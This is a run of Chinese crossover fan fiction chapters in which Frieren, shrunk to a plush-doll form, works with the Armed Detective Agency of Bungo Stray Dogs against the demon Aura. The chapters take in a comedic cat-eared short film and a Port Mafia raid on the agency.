《AAA异世界魔族代打》
7. 战士与虎
魔族是狡诈的,也是傲慢的。
他们是魔力的造物,会偷袭的野兽,用言语放松猎物的警惕,以最残酷的方式虐/杀“食物”。但一旦知道对手也是拥有魔力的魔法使,又会大大方方地出现,解除隐藏。
他们不会压抑自己的魔力,将一切魔力能够透露的信息都展现在世人面前。
他们也同样自大,看不起魔力低微的人,所以容易疏忽,阴沟翻船。
这是一种——
【令人作呕的傲慢和大意】*
千年前师父的话与她的想法重合。
“好啊,我等着。”芙莉莲启唇,难得扯起一抹大幅度的笑,气势陡然变强。
如此,便好办了。
不需要再去费劲思考,思考该怎样让阿乌拉重新上套。芙莉莲紧握着武器,法杖上的红宝石反射出闪光。
离芙莉莲最近的中岛敦,心脏不由得砰砰直跳,身体也下意识僵直。
好可怕。
对危险的雷达被触发。
人虎瑟瑟发抖。
阿乌拉放出威胁,可芙莉莲却似乎并没有感到害怕,她有点儿不爽,啧了一声。
一旁的爱丽丝立刻僵硬地走了出来,不知怎么回事,她忽然变作小护士的打扮,单手提着比她人还高不少的巨型针筒,冲了上来。
女孩全身上下都散发着异能的光晕。
不,或许她整个儿就是异能的组成,而非人类。芙莉莲很快意识到这一点,她了然地瞥了眼被阿乌拉控制的森鸥外,看来这是他的能力了。
爱丽丝的速度很快,一晃神,尖锐的针管抵在芙莉莲的额头。
芙莉莲皱起眉来。
试探?
她不慌不忙地轻挥法杖,剧烈的风吹起。
六边形的防御魔法抵住爱丽丝全部的攻击。
熟悉的魔法。阿乌拉忽然想起自己两度被打败时的阴影。
她控制着的森鸥外身体也条件反射般,不着痕迹地抖了一下。
不过很快,在看清楚防御魔法规模后,阿乌拉又恢复了得意的笑容。
看起来魔力比以前弱了不少啊,稳了,这次应该稳了。
于是她也不管战局如何,也没继续叫嚣,高兴而傲慢地直接控制着她的傀儡离开,头也不回。
看着他们离去的背影,芙莉莲将防御魔法收回。
耳边深红的吊坠摇晃,她抬起手,摩挲了一下,眼底不见一丝情绪。
“敦君,现在回去告诉你们的社长吧。”芙莉莲冲面前已经半虎化的少年说道。
“好,明白。”
中岛敦磕磕绊绊答应下来,他还沉浸在芙莉莲杀气释放的余韵里。
结果,在森鸥外他们的人影彻底看不见的那一刻,芙莉莲的一身气势却忽然,整个儿地卸了下来。
她软软地靠在自己的手提箱旁,伸出双臂,两只手就像拄拐杖一般抱着法杖,脸也紧贴了上去,仿佛失去了所有力气和手段,疲惫到虚脱。
她感叹着:“虽然已经做好了会有魔族的准备,但是完全没有想到会是死而复生的类型啊——”
“呃……芙莉莲小姐,”中岛敦看着画风突变的芙莉莲,虽然害怕,但出于关心,还是小心翼翼地试探道,“你还好么?”
“没事,只是——本来是想好好逛街的。”芙莉莲继续蔫蔫道,提不起一点精神。
中岛敦不知道安慰些什么比较好,他想了又想,终于想出来点什么:“那,要不我们下次再一起逛吧。”
“马上就是夏日祭了,如果那个时候芙莉莲小姐还在的话,一起去看看吧。”
“夏日祭,那是怎么样的?”芙莉莲抬起脸。
“啊,”中岛敦短促地啊了一声,他摸摸鼻子,讪讪地移开视线,“其实,因为是孤儿,所以以前也没有参加过这种……”
“但是,但是有人和我说过,”一种幻想的莫名喜悦在他眼里闪烁,中岛敦不自觉地露出浅笑,憧憬地道,“夏日祭的晚上会有很美的烟花。”
“大家聚在一起,这会是件很开心的事吧。”
“……是么,那我也稍微期待一下吧。”芙莉莲忽然想起和自家弟子看过的那场日出。
确实会很开心,不是日出,而是同伴,这是她与中岛敦相似之处。
“芙莉莲小姐。”也许是因为刚刚的聊天,中岛敦忽然感觉芙莉莲也没那么可怕,于是整个人也更放松下来,继续和她闲聊。
“嗯?”
“你之前说的,死而复生的类型是什么啊?”中岛敦把之前不敢问的话直接问出来了。
“哦,这个,就是我们刚刚见到的,控制了森鸥外的家伙,她曾经被我彻底杀死过,但是在这个世界,又复活了,”芙莉莲叹了口气,“很奇怪。”
她本来是不认为有复活魔法存在的,可是现在却有点动摇了。
这个世界,真的会有复活魔法么?
芙莉莲望着一望无际的蓝天出神。
“呀,原来是
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这样,”中岛敦似有所觉地点点头,他伸出一根手指,“其实我也有遇到过……”
“当时我还小,总之就是,在反抗的时候杀了一个人,后面他又复活了,还在横滨掀起了一场灾难的雾气。”
听了中岛敦的话,芙莉莲从发呆中猛得回过神:?!
“啊哈哈,最后证明其实这并不是真的复活啦,”中岛敦挠挠头,“只是他的异能力有点特殊,活下来的是他的异能,继承了那个家伙的思想,以为自己是个人。”
“你们这的异能力可真神奇。”芙莉莲微笑,倒是把之前的想法给抛至脑后。
“我也这样觉得,到目前为止,我还没有见过重复的能力呢。”中岛敦深有所感。
“那,你又有什么样的异能力?”芙莉莲忽然问道。
中岛敦听到后,身子又是一僵,不过这次很快就自然地放松下来:“是变成老虎。”
芙莉莲看出来了他的不自在,直白问道:“你和你的异能力之间,是不是发生过什么故事?”
“嗯,严格来说不算故事吧……我以前挺害怕我的异能来着,在入社之前,我甚至不知道自己会变成老虎,”中岛敦挠挠头,“那时的我,一直以为自己是在被老虎追逐,所以也不敢进城,在郊外徘徊,怕连累到其他人。”
“很温柔啊。”
“不不不,”中岛敦脸一下子就红了,他连忙挥手,“不是这样的,太过誉了。”
“比起温柔,我其实更像是胆小吧,害怕会牵连到大家,又渴望活下去,所以那个时候,一直躲一直藏,但后面饿得实在是不行,都忍不住升腾起打劫的念头了……”中岛敦感慨,“直到现在我也依旧会害怕,就像刚才,芙莉莲小姐你杀气释放出来的那一刻,我都要动不了了。”
“胆小么?可是今天,面对阿乌拉的时候,你不是都没有退缩,甚至还打算发动异能力么。”芙莉莲摇摇头,否定了他的悲观。
“你会成为一个好的战士。”
“我一个战士朋友的徒弟,他也会恐惧,但正是因为有这份恐惧,在拥有决心之后,他会成为很了不起的战士。”芙莉莲补充道。
听着她补充的话,中岛敦把本来想反驳的话咽了下去。
“我知道了……不过,你说的这个人,也是你要找的同伴吗?”
芙莉莲颔首:“是,他叫休塔尔克。”
“长相是开朗的番茄头。”
中岛敦的眼睛变成了豆豆眼:“啊,番、番茄头?”
8.累赘?
他们回到了武装侦探社事务所。
“敦,乱步说东西放桌上就行,他待会会自己过来拿。”国木田路过,看见正在开门的中岛敦说道。
“啊,糟糕,原来是忘记给乱步先生带波子汽水了!”中岛敦就说自己怎么总感觉怪怪的,原来是忘了这么个大事。
他一拍脑门,松开了门把手。
匆匆忙忙和国木田前辈汇报完自己遇到的情况,中岛敦很快地把芙莉莲往国木田怀里一塞。
然后,以百米冲刺的速度,加速跑了出去,飞快跑向便利店,购买波子汽水。
国木田:?
他还没来得及把重大消息消化干净,便与手心的芙莉莲面面相觑。
“非常抱歉,芙莉莲小姐,我会好好教育我们的社员的!”国木田独步愧疚道。
太莽撞了啊,敦,怎么可以这样对委托人。严肃的国木田独步想道。
然后他再次向芙莉莲表达了歉意,转头去社长办公室汇报,汇报中岛敦带来的消息。
“没事……带我一块吧,这事也和我有关。”芙莉莲主动提出来。
……
“咔嚓,咔嚓,你是说森鸥外被魔族控制了是吧,咔嚓。”乱步一边吃着零食一边道,“早就料到会有被胁迫的情况,咔嚓,但是没想到居然还是控制,咔嚓咔嚓。”
“Mafia的首领简直有毒,”他嚼着薯片吐槽,“先代首领也是被兰堂的【彩画集】控制过吧,居然会犯一样的错误,咔嚓咔嚓。”
“乱步。”社长端正地坐着,听着乱步那边不断的咔嚓声,他沉默了又沉默,最后忍不住沉声提醒。
“好吧。”乱步不情不愿放下薯片,正襟危坐,身子前倾,俯向芙莉莲,剔透的苍翠与森林般的蓝绿对视着。
他重新一本正经道:“那你知道她的弱点么,或者,有什么我们需要注意的地方?”
“她的弱点……”芙莉莲垂下眼,“她活了有五百年,是难得的大恶魔,我能够打败她,是借助了她【服从魔法】的‘公平性’,在她发动魔法后,魔力弱的一方会无条件服从魔力强的一方。”
“有意志坚定者能够从束缚中反抗出来,但是也至多一瞬。”
“而如今,阿乌拉得到了不知道是哪里来的帮助,我无法估计她的实力,可是她却已经知晓我的魔力多少,所以,”芙莉莲坦诚道,“这很困难。”
“哼,什么困难,本名侦探就没有遇到过解决不了的难题!”乱步听了她的话,一点也不带害怕的,很自信的模样。
恰时窗户外传来一声猫叫,就仿佛在应和着他。
“啊,小咪,快点下来啦!这棵树太高了,之前你就下不来过一次了!”楼下传来春野焦急的声音。
芙莉莲下意识朝窗户的方向看去。
隔着窗户,郁郁葱葱的大树枝干上,站着一只三花猫。
“春野很喜欢猫,她喂养的这只小咪是只公三花哦,大部分三花都是母的,所以这可是稀有中的稀有。”乱步狡黠地眯起绿色的眼睛在她身旁说道。
……
【夜晚】
谈话结束后,芙莉莲打算向江户川乱步要太宰治的地址。
那时,她才刚走到乱步面前,还没来得及解释来意,靠着沙发的江户川乱步便直接吐出了一串地址。
“xxxx(一通地址),就是这里,你去找他吧。”
芙莉莲:?就这么水灵灵得到地址了,她还什么都没有问呢。
“嗯哼,乱步大人可是世界第一名侦探,”乱步抬起头,很得意,“这点小事,不足挂齿!连我的异能力【超推理】都不需要用,轻轻松松就能够知道了。”
芙莉莲又一次困惑了。
根据她现阶段的观察,魔法师和异能力者就像是同一棵树生长出的不同枝丫,本质还是相同的。异能力者周身会有一种特殊的频率波动,就像她世界的魔力,可是江户川乱步确实一点儿没有,完全不似有异能力的样子。
但是他又是那样信誓旦旦,难不成——
芙莉莲想到一个原因了。
难不成他和芙莉莲与她师父一样,都在压抑着异能力(魔力)?压缩到近乎于无么,这可真是厉害。
她这样想,没有多问,离开去找太宰治了。
站在太宰治家门口,芙莉莲思索着,思考在布偶身型的前提下,自己该如何成功下按门铃。
还没等她想出个好办法来,门就自己大敞开了。
芙莉莲仰着头,对上太宰治的眼睛,看起来他是早已预感到芙莉莲会
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来。
“欢迎。”太宰治一边说着,一边把门关上。
芙莉莲快步走过玄关。
因为仰着头说话久了会有点费劲,她爬上客厅的餐桌上,盘腿坐着,直视起太宰治来。
“你和魔族做了交易。”芙莉莲开门见山。
“果然瞒不过你呢,芙莉莲小姐。”太宰治拉开椅子坐下,双手交叠,抵着下巴,淡然地笑着颔首。
“你根本就没打算隐瞒吧。”芙莉莲不客气地指了出来。
“魔族是非人的野兽,他们吃人,是不可能共情食物的,”她警告他,“不管他们对你承诺了什么,最好都不要相信。”
太宰治什么也没表态,他只是将一本魔导书往前推,羊皮纸作旧的材质。
“上次我们谈过的复活魔法,他们说,就在这里。”
芙莉莲接过书册。
“……他们向你承诺的是这个?”她随意翻开几页,捻着万分熟悉的书页,一时间竟有些无语凝噎。
这本书她再熟悉不过了。
这不正是几十年前,某酒肉和尚诱她上当的计谋么。
因为不想让好友收养的孩子菲伦,变成危险旅行中被牺牲的累赘,芙莉莲拒绝收她当学徒,可当时已经白发苍苍的海塔却不慌不忙,他温和地微笑,请求芙莉莲解读复活与不死的魔法,同时“顺便”(重音)教导菲伦魔法。
这不过是举手之劳,芙莉莲自然是答应了,并因此停留下来。
如果没记错的话,当时海塔说过,这本书是来自贤者艾维希墓里的吧。
“上面没有记载过你想要的魔法。”芙莉莲摇摇头,她垂下眼,继续回忆着那段日子。
生命总会消逝,在留下解读魔法的数年后,一天,芙莉莲站在病床边,彼时已经虚弱老迈的海塔望着她,得意而欣慰地微笑着。
【那她已经不是累赘了吧,芙莉莲。】*
这个酒肉僧侣,在临终前算计了她一道。
再后来,紫发的小姑娘便和她一起踏上征途。
在这次意外到达新世界之前,再也没有过分开。
想到这里,芙莉莲眨眨眼睛,唇边不经泛起些微弧度。
她歪歪头,难得促狭:“看来你也是被摆了一道啊,太宰治。”
9.起床
太宰治沉默了一会,慢慢露出一个微笑,倒也不至于难过:“我知道了。”
芙莉莲打量了他半晌,见他一点也不意外,甚至泰然自若,仿佛手头有足够的底牌,于是猜测道:“……你之前就做好了与虎谋皮的准备?”
“当然啊,”太宰治又变回了白天那个轻浮的模样,他双手抱臂,往外仰身,半假半真地抱怨着,“芙莉莲小姐,你不会真的以为,我会愚蠢到一看到火坑,就往下跳吧?”
“不,但你毕竟曾经抱有过期待。”芙莉莲摇摇头,“即使付出代价也想要实现它的执念,是很恐怖的。”
“抱有期待这回事嘛,也很正常的吧?”太宰治敛下眼睑,“复活,这是件多么诱人的事,人怎么会没有一点想法呢?”
“就算是芙莉莲小姐你,作为精灵,有着近乎永恒的寿命,在见识到这样的奇迹(阿乌拉)之时,也至少会停下来思考几秒吧?”
芙莉莲不否认这一点,但——
“至少我不会拿其他人的安危去作赌注。”她意有所指。
太宰治扯了扯手上的绷带,眯起鸢色的双眼,他听懂了芙莉莲的意思,意味深长道:“啊,我倒不认为这是赌,不必担心。”
“因为我说过,我知道了。”
……
大白天,艳阳高照。
芙莉莲躺在床上,把整个布偶身子埋在厚厚的被子里。
咚咚咚,咚。响起有规律的敲门声,三短一长。
“我进来了。”来人礼貌而平静地说道,拧开门把手。原来是泉镜花。
她快步走到床前,将紧闭的窗帘一掀。
刷,阳光打了进来,整个房间都变得亮堂堂了。
然后她又来到床边,微微蹲下身,安静地观察鼓出了一个小包的被子。
发现芙莉莲似乎是睡到床脚去了,于是泉镜花又挪步,挪到了床脚边去。
就这样,安家了一样,继续沉默地看了五分多钟。
泉镜花:盯——
没有动静,完全没有动静。
泉镜花试探着,用手指戳了戳一动不动的被团子。
依旧没有反应。
“芙莉莲小姐。”
“芙莉莲小姐。”
泉镜花开始唤起芙莉莲的名字,双手配合着摇晃着被团子,很有耐心地一遍又一遍叫着,重复而坚持不懈。
终于,蓝白色被团子开始蠕动起来,里头传来芙莉莲不情不愿的声音。
“再睡一会。”她闷闷地说道。
“可是,马上就要中午了,晶子小姐说赖床是不好的,不健康。”泉镜花认真道,“她让我来叫你起床。”
芙莉莲假装听不懂。
“芙莉莲小姐,芙莉莲小姐?”外头以为她没有听见,又开始重复的呼唤。
不要啊,明明已经到了异世界,为什么会感觉有菲伦plus……明明是性格不一样的孩子,为什么,为什么会是一样的效果……
“芙莉莲小姐?”
听着念叨,芙莉莲被迫,含泪,痛苦地起床了,她缓慢地从被团子里探出头,一双眼睛还没有睁开,双手就摸索着在寻找着什么了。
泉镜花很细心,看着芙莉莲披散着的头发,立刻心领神会:“芙莉莲小姐是需要发绳么?”
她走到床头,拿起发绳递给芙莉莲。
“谢谢。”芙莉莲困困地说,双手继续胡乱摸索,她开始扎头发了,也不用梳子,直接一把抓,头发毛燥燥地凸起,还有好几缕头发没扎进去。
泉镜花看着这一幕:“芙莉莲小姐,要不还是让我来帮你吧。”
她这样建议着,面上不动声色。不过,在开口时她的双手暴露了主人内心的想法,有点紧张地抽动了几下。
面前的芙莉莲小姐小小的一只,软软的,好可爱。
她还从来没有试过给布娃娃扎头发呢,会不会是那种蓬松的,轻轻的感觉?但是不知道芙莉莲小姐会不会同意……泉镜花忍不住想。
“好啊。”芙莉莲随意道,打断了泉镜花的思绪。
泉镜花眼睛一亮,身体前倾,虽然面部还是一点表情都没有,但是背景已经在疯狂冒星星了。
“是!”
她平板的语气上扬起来。
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……
一番折腾下来,她们终于来到武装侦探社。
中岛敦正忙碌着帮忙,手里捧着的调查档案都快要高过他的头了。
“啊,镜花,芙莉莲小姐,你们早上好啊!”他一转头,正好看见推门而入的泉镜花,和她捧着的芙莉莲,于是热情地打了声招呼。
泉镜花安静地点点头,表示自己听到了,然后顿了一下,也小声回应了一句:“敦君,早上好。”
“早上好,中岛敦。”芙莉莲还是很困,咪哒咪哒地说。
“芙莉莲小姐,”中岛敦似乎想到了什么,一边颠了颠怀里的资料,让它更不容易掉,一边说道,“我们之前试着单独锁定横滨来找,可是已经查了个遍,依旧没有什么线索……也许,您的同伴是在其他地方……所以,直美提议了一个方案,我们就想着……”
“是利用媒体。”谷崎直美听到中岛敦提她,自己笑盈盈地冒出头来,她左眼下的泪痣显得格外醒目。
“平时我会经常用社交媒体给哥哥分享一些喜欢的视频。”直美的哥哥是谷崎润一郎,一位颇为弱气的男子。
直美单手抵着唇,继续道:“芙莉莲小姐现在的样子这么可爱,感觉如果是录制小短片的话,能够收获不少流量呢。”
“大量的转发和分享,芙莉莲小姐的同伴们看到的几率也会提升吧?”
“不知道芙莉莲小姐意下如何?”她询问。
“短片,媒体,流量转发……这些是何物?”
“唔,大概解释一下的话,短片就是会动有声音的留影,媒体的话……”直美掏出自己的手机,直接展示给芙莉莲看了,荧光的屏幕上面有着各种纷繁复杂的信息,“总之就是大家都能够看到消息,信息传播很方便。”
“这样,那我大概懂了,”芙莉莲睁开眼睛,“开始吧。”
“要怎么做?”
直美面上的笑容更大了,她拉来了秘书小姐春野绮罗子。
两个女孩在角落里嘀嘀咕咕了半天,时不时发出嘿嘿的笑声,在本子上写写画画。
芙莉莲:嗯,怎么感觉后背忽然一凉?
10.猫猫飞吻
过了十几分钟,直美和春野讨论出了大致的想法。
她们齐刷刷转过头,同时盯住了芙莉莲,然后一起露出了灿烂到让人心里发慌的微笑。
“那么,芙莉莲小姐来试试吧。”
芙莉莲顿了顿,默默后退一步,不过,她忽然想到了自己那极有可能正处于凄风苦雨里的前卫和弟子。
“呜呜呜呜哇,救救我们,芙莉莲——”幻觉里,番茄头前卫休塔尔克跪地抱着芙莉莲大腿,宽面条泪不要钱地流下。
呜滋——而一头紫色长发,看上去等待了芙莉莲好久的菲伦,则鼓着圆圆的腮帮子在一旁无声无息生闷气。
这,如果前面还能无波无澜,后者……不行,菲伦生气很可怕的。
光是想想都要害怕的程度。
于是芙莉莲硬着头皮点点头,重新走上前,努力配合起来。
这两位中,比起谷崎直美时时刻刻与哥哥贴一处这种颇有冲击的情况,春野绮罗子的表现更让芙莉莲感到惊讶,当然,此处是特指在对娃片拍摄上的热情方面。
反差,简直是一场彻头彻尾的反差。
在这之前,如果非要下一个初印象的定义的话,在芙莉莲眼里,春野绮罗子是一位干练温柔,文静内敛中带着可靠的女子,但是现在……
“芙莉莲小姐,您能再表演一下那个吗?就是敦君讲的那个,握着法杖的帅气姿势。”春野双手合十,眼睛里冒着恳求的星星。
芙莉莲默默转头看向中岛敦,眼神里满是——你连这个都说了?
中岛敦目光游移,或许人在尴尬的时候真的会假装很忙,他打着哈哈,原地溜走:“啊啊,怎么回事呢,居然忘了还有资料要搬到办公室哈,啊,我这就去拿。”
“芙莉莲小姐~”一旁,春野渴望的声音还仿佛催魂般回荡在她耳畔。
算了算了,左右也就是摆一下的功夫,很轻松。
芙莉莲妥协了,她按照春野的说法,比划了一番。
“这样?”摆完后她询问道。
“可爱!”春野绮罗子不住地点头,一边和国木田一般在本子上写写画画。
她扭头和直美道:“感觉可以拍成剧情向,直美你怎么想。”
“我也觉得可以欸。”直美弯起唇,“也很有记忆点。”
“芙莉莲小姐,您知道什么能够吸引人的动作么?”
“唔……吸引人?”芙莉莲思考起来,她忽然想起自己曾经靠飞吻让勇者重创倒地的事来,不过后面她也为了招揽僧侣用了这个招数,似乎不再管用了……
她迟疑道:“飞吻行吗?”
“哦哦哦,wink么,”春野道,“还没有见过芙莉莲小姐wink呢,要不试一试?”
芙莉莲站在那里,手抵着唇,然后一抛,带着一眨眼。
嘶——
可爱,这是可爱特攻!春野大脑急速思考起来,感觉如果加上猫耳朵和猫尾巴的话……
砰!她一想到芙莉莲小姐那样的画面,整个儿脸蛋,就像火山爆发一样红了个彻底。春野绮罗子小姐双手捂着脸颊,身体一扭一扭,陷入到自己的迷思当中。
直美倒是没有想那么多,但她也忍不住单手虚虚握拳,抵住嘴唇:“有种很单纯的萌感呢。”
“直美,我想到剧情了。”春野绮罗子目光炯炯,拉住谷崎直美。
“我也有一些模模糊糊的灵感,那就一起讨论吧!”
然后他们又开始比比划划,时不时嘿嘿两三声。
谷崎润一郎听着自己妹妹和秘书小姐热火朝天地讨论,感觉里面的剧情越来越离谱。
什么超受欢迎的白猫被选中成为无敌的魔法少女,靠着提升魅力值拯救世界什么的……
她们越讨论,剧情形容词就越长,越来越夸张。
于是他弱弱地举起手,企图拉回她们的想法:“我觉得……这样会不会要素加太多了?”
不知何时又溜回来的中岛敦,一样听到了可怕的讨论:很难不支持。
“说什么呢,明明这样的发展超可爱的好不好?”谷崎润一郎的话音刚刚落地,春野和直美就一起扭头,横了他们一眼。
“那个,直
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美,我不是这个意思。”谷崎润一郎弱弱道。
这还是直美第一次横自家哥哥。他在心里叼着手帕,欲哭无泪。
春野和直美这才转过头去。
而一旁,一直安静听着的泉镜花也不住用力地点头表示支持,她双手握拳,眼睛亮晶晶:现在的芙莉莲小姐,不管是做什么样子都是特别可爱,不管什么要素剧情,她都举双手双脚支持。
在场的谷崎润一郎和中岛敦:不敢说话。
……
等在场没了反对意见,春野和直美开始思考这套动作应该有的搭配。
“要印象深刻,符合气质呢。”直美手指轻点唇间,苦恼道,“呀,感觉好多都很符合,好苦手。”
而春野绮罗子则是兴奋地一拍桌子,把之前的想法大声说了出来。
“这种时候,猫咪变人……果然是要戴上猫耳朵吧!”她的脸蛋红扑扑的,眼睛发出绿莹莹的光,“经典元素,流行单品,猫猫是无敌的。”
春野秘书激动地说着说着,不知道从哪里掏出来一个毛茸茸的猫耳朵发箍和一条毛茸茸的白色长条上翘尾巴,看大小应该是用在棉花娃娃身上的,怼到芙莉莲眼前。
“来,芙莉莲小姐,您来试试看这个。”语调亢奋极了。
芙莉莲被她情绪饱满的热情唬住了,迟疑地伸出手,把猫耳朵按到头上,把猫尾巴用夹子夹在衣服下摆。
她歪歪头:“这样?”
“对对对,”秘书小姐语气高昂,走过去把尾巴开关按下,于是那条尾巴开始自动地摇晃起来,萌到了极点。
“戴着耳朵和尾巴,再接上刚刚那个动作。”她如此比划。
芙莉莲依言照做。
伸出手,抛出一个wink。
咚咚咚咚咚——心脏在剧烈跳动。
春野绮罗子缓缓地用手捂住它,砰得倒下了,她仰着面倒在地上,但是手还是坚强地直起,颤颤巍巍竖了个大拇指。
“绝赞!”
#来自圣火猫猫教教徒,重度猫控的肯定#
她又幸福了。
11.芙莉莲,你能做到吗?
【很久很久以前,世界被邪恶黑章鱼入侵,世界满目疮痍,生灵涂炭……】配合着阴森恐怖的bgm和背景板,旁白缓缓响起,平稳而低沉。
中岛敦人半蹲在幕布后面,一只手高举起来打光,另一只手则套上了黑章鱼模样的手套玩偶,在舞台板上阴暗地挪动。
“于浩,咳咳,浩瀚。”他开始读台词,但是在念白的时候,还是忍不住磕绊了一下,不,好几下。
“于浩瀚无垠之深渊宇宙,吾乃,呃,吾乃吞噬光明、操控暗影之至高存在——黑章魔皇!”
“吾之触手,编织绝望,制造混乱,吾之恐惧令生灵不敢直视,吾即万物之主宰,时间之律者,统御宇宙,小小地球,必将臣服于吾之威名之下!”
中岛敦羞耻得脸都发红了——不是,这也太中二了吧!到底是谁写的这段文字!
春野秘书深藏功与名。
勉强读完后,中岛敦在心底暗自庆幸,还好人是在幕后,没有被拍进去,只是手出镜了。
【勇敢的小白猫为了打败黑章魔皇,拯救这个世界,挺身而出。】
泉镜花也带着手套玩偶出场,一只白猫手偶。
“喵。”她的语气无波无澜。
【小白猫向女神许愿,许愿获得强大的力量,去打败这邪恶的,嚣张的黑章魔皇。】
“喵。”
【女神感受到小白猫的虔诚,降临于此,原来,她是一只大型三花猫!她说道——】
春野一边抱着小咪,让它上半身出镜,一边为它配音,情绪激昂慷慨。
“等等,”中岛敦有很多槽要吐,“小咪不是公三花吗?”
“但是大众认知里,母三花才是常态吧。”春野义正辞严。
中岛敦:……其实春野小姐你,你就是单纯想让小咪出场吧!
“嗯咳咳咳,总之,”春野僵硬转移话题,开始配音,“女神将小猫变作人型,她说——”
“年轻的小猫哟,我知道你很想打败大魔头,所以我赋予了你力量。但现在的你,即使拥有我的魔力,也依旧是不够的。你对它太生疏了,就像小孩抱着金砖出现在闹市一样,拥有强大的力量却护不住。所以,你暂时没有办法彻底打败他。”
“你必须学会忍耐,在岁月里练就魔法的精妙控制。”
“在真正打败大魔头前,都必须承担孤独,不被理解,默默无闻。”
“即使这样,你依旧愿意去做吗?小白猫,你能做到吗?”
【芙莉莲,你能做到吗?】此时此刻,舞台上的话,与回忆里,芙莉莲被屠村,背负上血海深仇之后,师父教导她魔法时的提点重合在一起。
站在台上,芙莉莲恍惚了一瞬。
“当然。”很快回过神来,她沉声承诺,一如当年。
是的,芙莉莲出场了,是搭配着猫耳朵和猫尾巴版的芙莉莲。
【女神将神奇的法杖赐予给小白猫。】
“小白猫,我知道你的名字,你叫做芙莉莲,这是一个很美好的名字。”
“你会成为最强的魔法使,我坚信着。”
“去吧,去压制你的魔力,去让对手轻敌,去——拯救这个破烂不堪的世界。”
……
蓝、绿、黄三色,高矮不一的猫咪手偶和芙莉莲站在了一起,他们立在舞台板正中央,蓝猫举起宝剑,绿猫合上书本,黄猫摸着斧头,芙莉莲抱紧法杖。
她耳垂暗红的耳饰轻轻晃动。
他们胜利了。
【终于,芙莉莲和同伴们一起打败了黑章鱼魔王,世界重新归于和平,芙莉莲再次变回了普通的小白猫,过上了优哉游哉的生活。】旁白欢快地说道,同时小礼炮开始撒花,彩色的碎屑淋了芙莉莲一头。
“卡——”
随着场记板拍得一声合上,猫咪芙莉莲的短片故事到此结束了。
啪啪啪啪啪,大家都不约而同地鼓起掌来,庆祝这一遍过的收工。
春野和直美互相击掌,她们是在庆祝短片的顺利完结和自己脑洞的圆满实现。
中岛敦则是为自己读出台词后逝去的某些东西而哀叹,酸涩地鼓掌。
是节操吧,丢失的绝对是节操没错吧。
泉镜花这边呢,当然是属于——看到大家都在鼓掌,于是也一起鼓掌那一派的。
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“啊,已经结束了吗?看起来是很顺利吧……大家都辛苦了,我刚刚出去买了些饮料,一直读台词肯定会很口渴,一起来喝吧。”谷崎润一郎一进来,就被社内热烈的鼓掌声撞了个满怀。
他拎着一大袋波子汽水,气喘吁吁地一手撑着门。
“哥哥大人,果然是天底下最贴心的了!”直美感动地扑了上去。
被妹妹这样热烈夸赞,谷崎润一郎脸害羞地一红,目光也游移起来。
但是下一秒,当看到直美直接朝自己扑过来时,他的脸蛋又顿时由红转白,一下子急了。
“直美啊,等一下,等等,我现在还有点没力气……”
“你先别过来,小心摔着!”
“欸,怎么都堵在门口呀?”爽朗的声音自谷崎润一郎身后响起,一个金灿灿的小脑瓜子冒了出来。
原来是出任务回来的宫泽贤治。
直美扑向谷崎,谷崎想接住但是没力气,于是往后摔去,贤治猝不及防被牵连到绊倒——
咚!
“啊,不好意思……欸,国木田先生,你也回来了啊!”宫泽贤治的声音再次响起,他好像撞到了人,而且好巧不巧正是一样忙完回来的国木田独步。
“哦,天呐,我亲爱的搭档,国木田君,不是吧,你是在玩人体多米诺骨牌吗?”还没等国木田回应,太宰治浮夸又做作的话骤然响起。
“混蛋!”
再然后,砰的一声。
“你们几个这是怎么了,怎么都摔了,太宰?”
晶子疑惑的声音也在门外响起,她之前出门好像是因为用于治疗的柴刀钝了,打算去买把新的来着。
所以,太宰治这是被他搭档也一把拖下水了?
里头的诸位:局促,想笑又不敢笑。
当然,开玩笑的,他们当然是一听到动静,就都马上出来帮忙了。
啊,今天的武装侦探社也是一片兵荒马乱呢。
看着眼前发生的这一幕,芙莉莲莫名想起药水那一回。
果然很热闹啊,武装侦探社。
她的面上不自觉泛起微笑的弧度。
12.开会
武装侦探社又一次恢复了往日的祥和,中岛敦挪到发呆的芙莉莲身边。
“芙莉莲小姐。”
“嗯?”芙莉莲闻声,转头望向他,“怎么了吗?”
“我,我……”中岛敦的嘴唇张张合合,却不知道说什么才好,但最后还是勉强组织了措辞,“就是之前我们一起发现阿乌拉那件事。”
“关于这件事,我心里头总是有些不安,”中岛敦低着眼,双腿并在一起,双手放在腿上,他撑着身体,眉宇忧愁,“可是报上去以后,社长他们既没有采取什么措施,也没有戒备什么,做的工作也和日常一样……”
“嗯,”芙莉莲点点头,明白了他话里的含义,“阿乌拉不是能忍的性子,她确实有可能在酝酿大的。”
“那,那该怎么办啊。”中岛敦无措道,他早就已经把侦探社当成归属之地了。
“信任你的同伴。”
“只是这样?”
“这样就够了。”
轰——
忽然天翻地覆。
中岛敦一把捞起芙莉莲,跳起来,平稳落地。
他半蹲在地上,紧张地环顾着四周。
是地震了吗?
不,当然不是。
砰咚——事务所的大门轰然倒地,尘土飞扬,满天的灰尘让大家都有点睁不开眼了。
数把枪/械同时响起的声音,墙壁上出现了数目可观的弹口。
中岛敦双手化作虎爪,挡在芙莉莲身前,数枚铅制的子弹被弹飞出去。
是敌袭。
国木田掏出带着“理想”字样的笔记本,身子一滚,靠着充当掩体的柱子,低头,用嘴叼下笔帽,在纸页上龙飞凤舞写下“手/枪”和“闪/光/弹”。
他撕下纸张,【独步吟客】异能力发动。
纸页化作热武器,国木田独步一只手投掷闪/光/弹,另一只手朝门射击,压制火力。
其他人也不闲着。
晶子掏出柴刀,反刃抵住子弹,一振,一挥,一劈,子弹纷纷崩裂散开,她硬是用冷武器杀出一条血路,直取敌人面门,镜花则站在一旁,召唤【夜叉白雪】一起进攻。
谷崎润一郎用起【细雪】,无声的雪下了起来,此地化作荧绿的屏幕,他展开投影,掩护住包括直美在内的没有战斗力的文员,同时辅助战斗人员,干扰敌人视听。
宫泽贤治笑着抓起一旁无人使用的办公桌,双脚下的地面泛起蜘蛛网般的裂痕,他旋转了一圈,将办公桌掷了出去。
轰咚,轰咚……
很快,一切归于平静。
等尘土散去,地上横七竖八地躺着一堆黑衣人。
刚准备动手麻烦事就已经被解决了,被保护得很好的芙莉莲:“这些人是?”
“港口Mafia。”国木田独步推推眼镜架,镜片反光,言简意赅道,“森鸥外是他们的首领。”
哦,现在阿乌拉帐下的小兵。
“你们应对得看起来很熟练,以前也经常遇到这种情况吗?”
“嗯,就像牛一样,事务所确实会经常受伤哦,上次Mafia大规模这样,好像是敦君来的时候。”宫泽贤治爽朗一笑,“不过嘛,毕竟是在大都市里,这些都在所难免啦。”
他正在收拾断壁残垣。
